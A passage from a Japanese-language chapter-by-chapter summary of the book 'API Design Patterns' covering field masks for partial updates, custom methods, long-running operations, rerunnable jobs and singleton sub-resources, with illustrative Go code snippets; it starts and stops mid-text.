\"\" { mask = append(mask, \"name\") } if user.Email != \"\" { mask = append(mask, \"email\") } // ... その他のフィールド return mask}このコードでは、フィールドマスクを明示的に指定しない場合、提供されたデータから暗黙的にフィールドマスクを推論しています。これにより、クライアントは必要なフィールドのみを更新でき、不要なデータの送信を避けることができます。部分的な更新と取得の課題著者は、部分的な更新と取得の実装に関する重要な課題についても議論しています。一貫性: 部分的な更新を行う際、リソース全体の一貫性を維持することが重要です。特に、相互に依存するフィールドがある場合、この点に注意が必要です。パフォーマンス: フィールドマスクの解析と適用には計算コストがかかります。大規模なシステムでは、このオーバーヘッドを考慮する必要があります。バージョニング: APIの進化に伴い、新しいフィールドが追加されたり、既存のフィールドが変更されたりする可能性があります。フィールドマスクの設計は、このような変更に対応できる柔軟性を持つ必要があります。セキュリティ: フィールドマスクを通じて、クライアントがアクセスを許可されていないフィールドを更新または取得しようとする可能性があります。適切なアクセス制御が必要です。これらの課題は、特に大規模なシステムや長期的に維持されるAPIにおいて重要です。例えば、マイクロサービスアーキテクチャでは、各サービスが扱うデータの一部のみを更新する必要がある場合がしばしばあります。この時、部分的な更新機能は非常に有用ですが、同時にサービス間のデータ整合性を維持することが重要になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。効率性とパフォーマンス: 部分的な更新と取得を適切に実装することで、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させることができます。これは特に、モバイルアプリケーションや帯域幅が制限されている環境で重要です。柔軟性と拡張性: フィールドマスクを使用することで、APIの柔軟性が大幅に向上します。クライアントは必要なデータのみを要求でき、新しいフィールドの追加も既存のクライアントに影響を与えずに行えます。バージョニングとの関係: 部分的な更新と取得は、APIのバージョニング戦略と密接に関連しています。新しいバージョンを導入する際も、フィールドマスクを通じて後方互換性を維持しやすくなります。運用性と可観測性: 部分的な更新と取得を適切に実装することで、システムの運用性が向上します。例えば、特定のフィールドの更新頻度や、どのフィールドが最も頻繁に要求されるかを監視することで、システムの使用パターンをより深く理解し、最適化の機会を見出すことができます。エラーハンドリング: 無効なフィールドマスクや、存在しないフィールドへのアクセス試行をどのように処理するかは重要な設計上の決定です。適切なエラーメッセージと状態コードを返すことで、APIの使いやすさと信頼性を向上させることができます。フィールドマスクの高度な使用法著者は、フィールドマスクのより高度な使用法についても言及しています。特に注目すべきは、ネストされた構造やマップ型のフィールドへの対応です。例えば、次のような複雑な構造を持つリソースを考えてみましょう:type User struct { ID string Name string Address Address Settings map[string]interface{}}type Address struct { Street string City string Country string}このような構造に対して、著者は以下のようなフィールドマスクの表記を提案しています。name: ユーザーの名前を更新または取得address.city: ユーザーの住所の都市のみを更新または取得settings.theme: 設定マップ内のテーマ設定のみを更新または取得この表記法により、非常に細かい粒度で更新や取得を行うことが可能になります。これは特に、大規模で複雑なリソースを扱う場合に有用です。しかし、このような複雑なフィールドマスクの実装には課題もあります。特に、セキュリティとパフォーマンスの観点から注意が必要です。例えば、深くネストされたフィールドへのアクセスを許可することで、予期せぬセキュリティホールが生まれる可能性があります。また、非常に複雑なフィールドマスクの解析と適用は、システムに大きな負荷をかける可能性があります。これらの課題に対処するため、著者は以下のような推奨事項を提示しています。フィールドマスクの深さに制限を設ける特定のパターンのみを許可するホワイトリストを実装するフィールドマスクの複雑さに応じて、リクエストのレート制限を調整するこれらの推奨事項は、システムの安全性と性能を確保しつつ、APIの柔軟性を維持するのに役立ちます。部分的な更新と取得の影響部分的な更新と取得の実装は、システム全体に広範な影響を与えます。特に以下の点が重要です。データベース設計: 部分的な更新をサポートするためには、データベースの設計も考慮する必要があります。例えば、ドキュメント指向のデータベースは、部分的な更新に適している場合があります。キャッシング戦略: 部分的な取得をサポートする場合、キャッシング戦略も再考する必要があります。フィールドごとに異なるキャッシュ期間を設定したり、部分的な更新があった場合にキャッシュを適切に無効化する仕組みが必要になります。監視とロギング: 部分的な更新と取得をサポートすることで、システムの監視とロギングの複雑さが増します。どのフィールドが更新されたか、どのフィールドが要求されたかを追跡し、適切にログを取ることが重要になります。ドキュメンテーション: フィールドマスクの使用方法や、各フィールドの意味、相互依存関係などを明確にドキュメント化する必要があります。これにより、API利用者が部分的な更新と取得を適切に使用できるようになります。テスト戦略: 部分的な更新と取得をサポートすることで、テストケースの数が大幅に増加します。全ての有効なフィールドの組み合わせをテストし、不正なフィールドマスクに対する適切なエラーハンドリングを確認する必要があります。クライアントライブラリ: APIクライアントライブラリを提供している場合、フィールドマスクを適切に扱えるように更新する必要があります。これにより、API利用者がより簡単に部分的な更新と取得を利用できるようになります。パフォーマンスチューニング: 部分的な更新と取得は、システムのパフォーマンスに大きな影響を与える可能性があります。フィールドマスクの解析や適用のパフォーマンスを最適化し、必要に応じてインデックスを追加するなどの対策が必要になる場合があります。セキュリティ対策: フィールドマスクを通じて、機密情報へのアクセスが可能になる可能性があります。適切なアクセス制御と認可チェックを実装し、セキュリティ監査を行うことが重要です。バージョニング戦略: 新しいフィールドの追加や既存フィールドの変更を行う際、フィールドマスクとの互換性を維持する必要があります。これは、APIのバージョニング戦略に大きな影響を与える可能性があります。開発者教育: 開発チーム全体が部分的な更新と取得の概念を理解し、適切に実装できるようにするための教育が必要になります。これには、ベストプラクティスの共有やコードレビューのプロセスの更新が含まれる可能性があります。これらの影響を適切に管理することで、部分的な更新と取得の実装による利点を最大限に活かしつつ、潜在的な問題を最小限に抑えることができます。システム全体のアーキテクチャ、開発プロセス、運用プラクティスを包括的に見直し、必要に応じて調整を行うことが重要です。最終的に、部分的な更新と取得の実装は、APIの使いやすさと効率性を大幅に向上させる可能性がありますが、同時にシステムの複雑性も増加させます。したがって、その導入を決定する際は、利点とコストを慎重に検討し、システムの要件と制約に基づいて適切な判断を下す必要があります。長期的な保守性、スケーラビリティ、そして全体的なシステムのパフォーマンスを考慮に入れた上で、部分的な更新と取得の実装範囲と方法を決定することが賢明です。結論第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。部分的な更新と取得は、大規模なリソースや制限のあるクライアント環境で特に重要です。フィールドマスクは、部分的な更新と取得を実現するための強力なツールです。適切な実装は、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させます。フィールドマスクの使用は、APIの柔軟性と拡張性を大幅に向上させます。部分的な更新と取得の実装には、一貫性、パフォーマンス、バージョニング、セキュリティなどの課題があり、これらを適切に考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、部分的な更新と取得の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。部分的な更新と取得の適切な実装は、将来的な拡張性を確保し、予期せぬパフォーマンス問題や互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より効率的で柔軟性の高いシステムを構築することができるでしょう。9 Custom methods「API Design Patterns」の第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はカスタムメソッドが単なる追加機能ではなく、APIの柔軟性、表現力、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。カスタムメソッドの必要性と動機著者は、標準メソッドだけでは対応できないシナリオが存在することから議論を始めています。例えば、電子メールの送信やテキストの翻訳のような特定のアクションをAPIでどのように表現するべきかという問題を提起しています。これらのアクションは、標準的なCRUD操作(Create, Read, Update, Delete)には簡単に当てはまらず、かつ重要な副作用を伴う可能性があります。この問題は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスが提供する機能が複雑化し、標準的なRESTful操作だけではカバーしきれないケースが増えています。例えば、ある特定の条件下でのみ実行可能な操作や、複数のリソースに跨がる操作などが該当します。著者は、このような状況に対処するためのソリューションとしてカスタムメソッドを提案しています。カスタムメソッドは、標準メソッドの制約を超えて、APIに特化した操作を実現する手段となります。カスタムメソッドの実装カスタムメソッドの実装に関して、著者はいくつかの重要なポイントを強調しています。HTTP メソッドの選択: カスタムメソッドはほとんどの場合、POSTメソッドを使用します。これは、POSTがリソースの状態を変更する操作に適しているためです。URL構造: カスタムメソッドのURLは、標準的なリソースパスの後にコロン(:)を使用して、カスタムアクションを示します。例えば、POST /rockets/1234:launchのような形式です。命名規則: カスタムメソッドの名前は、標準メソッドと同様に動詞+名詞の形式を取るべきです。例えば、LaunchRocketやSendEmailなどです。これらの規則は、APIの一貫性と予測可能性を維持する上で重要です。特に、大規模なシステムや長期的に運用されるAPIにおいて、この一貫性は開発者の生産性と学習曲線に大きな影響を与えます。著者が提示する実装例を、Golangを用いて具体化すると以下のようになります。type RocketAPI interface { LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error)}type LaunchRocketRequest struct { ID string `json:\"id\"`}func (s *rocketService) LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error) { // カスタムロジックの実装 // 例: ロケットの状態チェック、打ち上げシーケンスの開始など}このような実装により、標準的なCRUD操作では表現しきれない複雑なビジネスロジックを、明確で直感的なAPIインターフェースとして提供することが可能になります。副作用の取り扱いカスタムメソッドの重要な特徴の一つとして、著者は副作用の許容を挙げています。標準メソッドが基本的にリソースの状態変更のみを行うのに対し、カスタムメソッドはより広範な操作を行うことができます。例えば、メールの送信、バックグラウンドジョブの開始、複数リソースの更新などです。この特性は、システムの設計と運用に大きな影響を与えます。副作用を伴う操作は、システムの一貫性や信頼性に影響を与える可能性があるため、慎重に設計する必要があります。例えば、トランザクション管理、エラーハンドリング、リトライメカニズムなどを考慮する必要があります。著者が提示する電子メール送信の例は、この点を明確に示しています。メールの送信操作は、データベースの更新だけでなく、外部のSMTPサーバーとの通信も含みます。このような複合的な操作をカスタムメソッドとして実装することで、操作の意図を明確に表現し、同時に必要な副作用を適切に管理することができます。リソースvs.コレクション著者は、カスタムメソッドを個々のリソースに適用するか、リソースのコレクションに適用するかという選択についても論じています。この選択は、操作の性質と影響範囲に基づいて行われるべきです。例えば、単一のメールを送信する操作は個々のリソースに対するカスタムメソッドとして実装される一方で、複数のメールをエクスポートする操作はコレクションに対するカスタムメソッドとして実装されるべきです。この区別は、APIの論理的構造と使いやすさに直接影響します。適切に設計されたカスタムメソッドは、複雑な操作を直感的なインターフェースで提供し、クライアント側の実装を簡素化します。ステートレスカスタムメソッド著者は、ステートレスなカスタムメソッドについても言及しています。これらは、永続的な状態変更を伴わず、主に計算や検証を行うメソッドです。例えば、テキスト翻訳やメールアドレスの検証などが該当します。ステートレスメソッドは、特にデータプライバシーやセキュリティの要件が厳しい環境で有用です。例えば、GDPR(一般データ保護規則)のようなデータ保護規制に対応する必要がある場合、データを永続化せずに処理できるステートレスメソッドは有効なソリューションとなります。しかし、著者は完全にステートレスなアプローチの限界についても警告しています。多くの場合、将来的にはある程度の状態管理が必要になる可能性があるため、完全にステートレスな設計に固執することは避けるべきだと指摘しています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。柔軟性と表現力: カスタムメソッドを適切に使用することで、APIの柔軟性と表現力が大幅に向上します。複雑なビジネスロジックや特殊なユースケースを、直感的で使いやすいインターフェースとして提供することが可能になります。マイクロサービスアーキテクチャとの親和性: カスタムメソッドは、マイクロサービスアーキテクチャにおいて特に有用です。各サービスが提供する特殊な機能や、サービス間の複雑な相互作用を表現するのに適しています。運用性と可観測性: カスタムメソッドの導入は、システムの運用性と可観測性に影響を与えます。副作用を伴う操作や、複雑な処理フローを含むカスタムメソッドは、適切なログ記録、モニタリング、トレーシングの実装が不可欠です。バージョニングと後方互換性: カスタムメソッドの追加や変更は、APIのバージョニング戦略に影響を与えます。新しいカスタムメソッドの導入や既存メソッドの変更を行う際は、後方互換性の維持に注意を払う必要があります。セキュリティの考慮: カスタムメソッド、特に副作用を伴うものは、適切なアクセス制御と認可チェックが必要です。また、ステートレスメソッドを使用する場合でも、入力データの検証やサニタイズは不可欠です。パフォーマンスとスケーラビリティ: カスタムメソッドの実装は、システムのパフォーマンスとスケーラビリティに影響を与える可能性があります。特に、複雑な処理や外部サービスとの連携を含むメソッドは、適切なパフォーマンスチューニングとスケーリング戦略が必要になります。結論第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、表現力、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。カスタムメソッドは、標準メソッドでは適切に表現できない複雑な操作や特殊なユースケースに対応するための強力なツールです。カスタムメソッドの設計と実装には、一貫性のある命名規則とURL構造の使用が重要です。副作用を伴うカスタムメソッドの使用は慎重に行い、適切な管理と文書化が必要です。リソースとコレクションに対するカスタムメソッドの適用は、操作の性質に基づいて適切に選択する必要があります。ステートレスなカスタムメソッドは有用ですが、将来的な拡張性を考慮して設計する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、カスタムメソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なカスタムメソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。カスタムメソッドの適切な実装は、将来的な拡張性を確保し、予期せぬ要件変更や新機能の追加にも柔軟に対応できるAPIを実現します。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。10 Long-running operations「API Design Patterns」の第10章「Long-running operations」は、APIにおける長時間実行操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は長時間実行操作(LRO)が単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。長時間実行操作の必要性と概要著者は、APIにおける長時間実行操作の必要性から議論を始めています。多くのAPI呼び出しは数百ミリ秒以内に処理されますが、データ処理や外部サービスとの連携など、時間のかかる操作も存在します。これらの操作を同期的に処理すると、クライアントの待ち時間が長くなり、リソースの無駄遣いにつながる可能性があります。長時間実行操作の概念は、プログラミング言語におけるPromiseやFutureと類似しています。APIの文脈では、これらの操作は「Long-running Operations」(LRO)と呼ばれ、非同期処理を可能にします。LROは、操作の進行状況を追跡し、最終的な結果を取得するためのメカニズムを提供します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、一つの操作が複数のサービスにまたがって実行される可能性があり、その全体の進行状況を追跡する必要があります。著者は、LROの基本的な構造として以下の要素を提案しています。一意の識別子操作の状態(実行中、完了、エラーなど)結果または発生したエラーの情報進行状況や追加のメタデータこれらの要素を含むLROは、APIリソースとして扱われ、クライアントはこのリソースを通じて操作の状態を確認し、結果を取得することができます。LROの実装LROの実装に関して、著者はいくつかの重要なポイントを強調しています。リソースとしてのLRO: LROは通常のAPIリソースとして扱われ、一意の識別子を持ちます。これにより、クライアントは操作の状態を簡単に追跡できます。ジェネリックな設計: LROインターフェースは、さまざまな種類の操作に対応できるように、結果の型とメタデータの型をパラメータ化します。ステータス管理: 操作の状態(実行中、完了、エラーなど)を明確に表現する必要があります。エラーハンドリング: 操作が失敗した場合のエラー情報を適切に提供する必要があります。進行状況の追跡: 長時間実行操作の進行状況を追跡し、クライアントに提供するメカニズムが必要です。これらの要素を考慮したLROの基本的な構造を、Golangを用いて表現すると以下のようになります。type Operation struct { ID string `json:\"id\"` Done bool `json:\"done\"` Result interface{} `json:\"result,omitempty\"` Error *ErrorInfo `json:\"error,omitempty\"` Metadata interface{} `json:\"metadata,omitempty\"`}type ErrorInfo struct { Code int `json:\"code\"` Message string `json:\"message\"` Details map[string]interface{} `json:\"details,omitempty\"`}この構造により、APIは長時間実行操作の状態を効果的に表現し、クライアントに必要な情報を提供することができます。LROの状態管理と結果の取得著者は、LROの状態を管理し、結果を取得するための2つの主要なアプローチを提案しています。ポーリングと待機です。ポーリング: クライアントが定期的にLROの状態を確認する方法です。これは実装が簡単ですが、不必要なAPI呼び出しが発生する可能性があります。待機: クライアントがLROの完了を待つ長期接続を確立する方法です。これはリアルタイム性が高いですが、サーバー側のリソース管理が複雑になる可能性があります。これらのアプローチを実装する際、著者は以下のAPIメソッドを提案しています。GetOperation: LROの現在の状態を取得します。ListOperations: 複数のLROをリストアップします。WaitOperation: LROの完了を待機します。これらのメソッドを適切に実装することで、クライアントは長時間実行操作の進行状況を効果的に追跡し、結果を取得することができます。LROの制御と管理著者は、LROをより柔軟に管理するための追加機能についても論じています。キャンセル: 実行中の操作を中止する機能です。これは、不要になった操作やエラーが発生した操作を適切に終了させるために重要です。一時停止と再開: 一部の操作では、一時的に処理を停止し、後で再開する機能が有用な場合があります。有効期限: LROリソースをいつまで保持するかを決定するメカニズムです。これは、システムリソースの効率的な管理に役立ちます。これらの機能を実装することで、APIの柔軟性と運用性が向上します。例えば、キャンセル機能は以下のように実装できます。func (s *Service) CancelOperation(ctx context.Context, req *CancelOperationRequest) (*Operation, error) { op, err := s.GetOperation(ctx, &GetOperationRequest{Name: req.Name}) if err != nil { return nil, err } if op.Done { return op, nil } // 操作をキャンセルするロジック // ... op.Done = true op.Error = &ErrorInfo{ Code: int(codes.Cancelled), Message: \"Operation cancelled by the user.\", } return s.UpdateOperation(ctx, op)}実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: LROを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。信頼性とエラー処理: LROパターンは、長時間実行操作中に発生する可能性のあるエラーを適切に処理し、クライアントに伝達するメカニズムを提供します。これにより、システム全体の信頼性が向上します。運用性と可観測性: LROリソースを通じて操作の進行状況や状態を追跡できることは、システムの運用性と可観測性を大幅に向上させます。これは、複雑な分散システムの問題診断や性能最適化に特に有用です。ユーザーエクスペリエンス: クライアントに進行状況を提供し、長時間操作をキャンセルする機能を提供することで、APIのユーザーエクスペリエンスが向上します。リソース管理: LROの有効期限を適切に設定することで、システムリソースを効率的に管理できます。これは、大規模なシステムの長期的な運用において特に重要です。結論第10章「Long-running operations」は、APIにおける長時間実行操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。LROは、長時間実行操作を非同期で処理するための強力なツールです。LROをAPIリソースとして扱うことで、操作の状態管理と結果の取得が容易になります。ポーリングと待機の両方のアプローチを提供することで、さまざまなクライアントのニーズに対応できます。キャンセル、一時停止、再開などの制御機能を提供することで、APIの柔軟性が向上します。LROリソースの適切な有効期限管理は、システムリソースの効率的な利用につながります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、LROの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なLROの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。LROの適切な実装は、複雑な分散システムにおける非同期処理の管理を容易にし、システム全体の信頼性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。11 Rerunnable jobs「API Design Patterns」の第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は再実行可能なジョブが単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。Figure 11.1 Interaction with a Job resource より引用再実行可能なジョブの必要性と概要著者は、再実行可能なジョブの必要性から議論を始めています。多くのAPIでは、カスタマイズ可能で繰り返し実行する必要のある機能が存在します。しかし、従来のAPIデザインでは、これらの機能を効率的に管理することが困難でした。著者は、この問題に対処するために「ジョブ」という概念を導入しています。ジョブは、APIメソッドの設定と実行を分離する特別なリソースとして定義されています。この分離には以下の利点があります。設定の永続化:ジョブの設定をAPIサーバー側で保存できるため、クライアントは毎回詳細な設定を提供する必要がありません。権限の分離:ジョブの設定と実行に異なる権限を設定できるため、セキュリティとアクセス制御が向上します。スケジューリングの容易さ:ジョブをAPIサーバー側でスケジュールすることが可能になり、クライアント側での複雑なスケジューリング管理が不要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、定期的なデータ処理やバックアップなどの操作を効率的に管理する必要があります。再実行可能なジョブを使用することで、これらの操作を一貫した方法で設計し、実行することができます。この辺の再実行性について包括的に知りたいのであればCloud Native Go, 2nd Editionやデータ指向アプリケーションデザイン ―信頼性、拡張性、保守性の高い分散システム設計の原理などが良いのでオススメです。learning.oreilly.com著者は、ジョブの基本的な構造として以下の要素を提案しています。ジョブリソース:設定情報を保持するリソース実行メソッド:ジョブを実行するためのカスタムメソッド実行リソース:ジョブの実行結果を保持するリソース(必要な場合)これらの要素を組み合わせることで、APIは柔軟で再利用可能なジョブ管理システムを提供することができます。Figure 11.2 Interaction with a Job resource with Execution results より引用ジョブリソースの実装著者は、ジョブリソースの実装に関して詳細なガイダンスを提供しています。ジョブリソースは、通常のAPIリソースと同様に扱われますが、その目的は特定の操作の設定を保存することです。ジョブリソースの主な特徴は以下の通りです。一意の識別子:他のリソースと同様に、ジョブリソースも一意の識別子を持ちます。設定パラメータ:ジョブの実行に必要な全ての設定情報を保持します。標準的なCRUD操作:ジョブリソースは作成、読み取り、更新、削除の標準的な操作をサポートします。著者は、チャットルームのバックアップを例にとって、ジョブリソースの設計を説明しています。以下は、Golangを用いてこのジョブリソースを表現した例です。type BackupChatRoomJob struct { ID string `json:\"id\"` ChatRoomID string `json:\"chatRoomId\"` Destination string `json:\"destination\"` CompressionFormat string `json:\"compressionFormat\"` EncryptionKey string `json:\"encryptionKey\"`}このような設計により、ジョブの設定を永続化し、必要に応じて再利用することが可能になります。また、異なる権限レベルを持つユーザーがジョブの設定と実行を別々に管理できるようになります。ジョブの実行とLRO著者は、ジョブの実行方法についても詳細に説明しています。ジョブの実行は、カスタムメソッド(通常は「run」メソッド)を通じて行われます。このメソッドは、長時間実行操作(LRO)を返すことで、非同期実行をサポートします。以下は、Golangを用いてジョブ実行メソッドを表現した例です。func (s *Service) RunBackupChatRoomJob(ctx context.Context, req *RunBackupChatRoomJobRequest) (*Operation, error) { job, err := s.GetBackupChatRoomJob(ctx, req.JobID) if err != nil { return nil, err } op := &Operation{ Name: fmt.Sprintf(\"operations/backup_%s\", job.ID), Metadata: &BackupChatRoomJobMetadata{ JobID: job.ID, Status: \"RUNNING\", }, } go s.executeBackupJob(job, op) return op, nil}このアプローチには以下の利点があります。非同期実行:長時間かかる可能性のある操作を非同期で実行できます。進捗追跡:LROを通じて、ジョブの進捗状況を追跡できます。エラーハンドリング:LROを使用することで、ジョブ実行中のエラーを適切に処理し、クライアントに伝達できます。実行リソースの導入著者は、ジョブの実行結果を永続化するための「実行リソース」の概念を導入しています。これは、LROの有効期限が限定される可能性がある場合に特に重要です。実行リソースの主な特徴は以下の通りです。読み取り専用:実行リソースは、ジョブの実行結果を表すため、通常は読み取り専用です。ジョブとの関連付け:各実行リソースは、特定のジョブリソースに関連付けられます。結果の永続化:ジョブの実行結果を長期的に保存し、後で参照することができます。以下は、Golangを用いて実行リソースを表現した例です。type AnalyzeChatRoomJobExecution struct { ID string `json:\"id\"` JobID string `json:\"jobId\"` ExecutionTime time.Time `json:\"executionTime\"` SentenceComplexity float64 `json:\"sentenceComplexity\"` Sentiment float64 `json:\"sentiment\"` AbuseScore float64 `json:\"abuseScore\"`}実行リソースを導入することで、ジョブの実行履歴を管理し、結果を長期的に保存することが可能になります。これは、データ分析や監査の目的で特に有用です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 再実行可能なジョブを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行される操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。運用性と可観測性: ジョブリソースと実行リソースを導入することで、システムの運用性と可観測性が向上します。ジョブの設定、実行状況、結果を一元的に管理できるため、問題の診断や性能最適化が容易になります。セキュリティとアクセス制御: ジョブの設定と実行を分離することで、より細かいアクセス制御が可能になります。これは、大規模な組織や複雑なシステムにおいて特に重要です。バージョニングと後方互換性: ジョブリソースを使用することで、APIの進化に伴う変更を管理しやすくなります。新しいパラメータや機能を追加する際も、既存のジョブとの互換性を維持しやすくなります。スケジューリングと自動化: 再実行可能なジョブは、定期的なタスクやバッチ処理の自動化に適しています。これは、データ処理パイプラインやレポート生成などのシナリオで特に有用です。結論第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ジョブリソースを導入することで、設定と実行を分離し、再利用性を高めることができます。カスタムの実行メソッドとLROを組み合わせることで、非同期実行と進捗追跡を実現できます。実行リソースを使用することで、ジョブの結果を永続化し、長期的な分析や監査を可能にします。この設計パターンは、セキュリティ、スケーラビリティ、運用性の向上に貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、再実行可能なジョブの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なジョブ設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。再実行可能なジョブの適切な実装は、複雑なワークフローの管理を容易にし、システム全体の柔軟性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 4 Resource relationshipsここでは、APIにおけるリソース間の関係性の表現方法について詳しく解説されています。シングルトンサブリソース、クロスリファレンス、関連リソース、ポリモーフィズムなど、複雑なデータ構造や関係性を APIで表現するための高度なテクニックが紹介されています。これらのパターンを理解し適切に適用することで、より柔軟で表現力豊かなAPIを設計することができます。12 Singleton sub-resources「API Design Patterns」の第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はシングルトンサブリソースが単なる設計上の選択ではなく、APIの柔軟性、スケーラビリティ、そして長期的な保守性に直接影響を与える重要な設計パターンであることを明確に示しています。シングルトンサブリソースの必要性と概要著者は、シングルトンサブリソースの必要性から議論を始めています。多くのAPIでは、リソースの一部のデータを独立して管理する必要が生じることがあります。例えば、アクセス制御リスト(ACL)のような大規模なデータ、頻繁に更新される位置情報、または特別なセキュリティ要件を持つデータなどが該当します。これらのデータを主リソースから分離することで、APIの効率性と柔軟性を向上させることができます。シングルトンサブリソースは、リソースのプロパティとサブリソースの中間的な存在として定義されています。著者は、この概念を以下のように説明しています。親リソースに従属:シングルトンサブリソースは常に親リソースに関連付けられます。単一インスタンス:各親リソースに対して、特定のタイプのシングルトンサブリソースは1つしか存在しません。独立した管理:シングルトンサブリソースは、親リソースとは別に取得や更新が可能です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービスと位置情報サービスを分離しつつ、両者の関連性を維持したい場合に、シングルトンサブリソースが有効です。シングルトンサブリソースの実装著者は、シングルトンサブリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの制限: シングルトンサブリソースは、通常のリソースとは異なり、標準のCRUD操作の一部のみをサポートします。具体的には、Get(取得)とUpdate(更新)のみが許可されます。暗黙的な作成と削除: シングルトンサブリソースは親リソースの作成時に自動的に作成され、親リソースの削除時に自動的に削除されます。リセット機能: 著者は、シングルトンサブリソースを初期状態にリセットするためのカスタムメソッドの実装を推奨しています。階層構造: シングルトンサブリソースは常に親リソースの直下に位置し、他のシングルトンサブリソースの子になることはありません。これらの原則を適用することで、APIの一貫性と予測可能性を維持しつつ、特定のデータを効率的に管理することができます。以下は、Golangを用いてシングルトンサブリソースを実装する例です。type Driver struct { ID string `json:\"id\"` Name string `json:\"name\"` LicensePlate string `json:\"licensePlate\"`}type DriverLocation struct { ID string `json:\"id\"` DriverID string `json:\"driverId\"` Latitude float64 `json:\"latitude\"` Longitude float64 `json:\"longitude\"` UpdatedAt time.Time 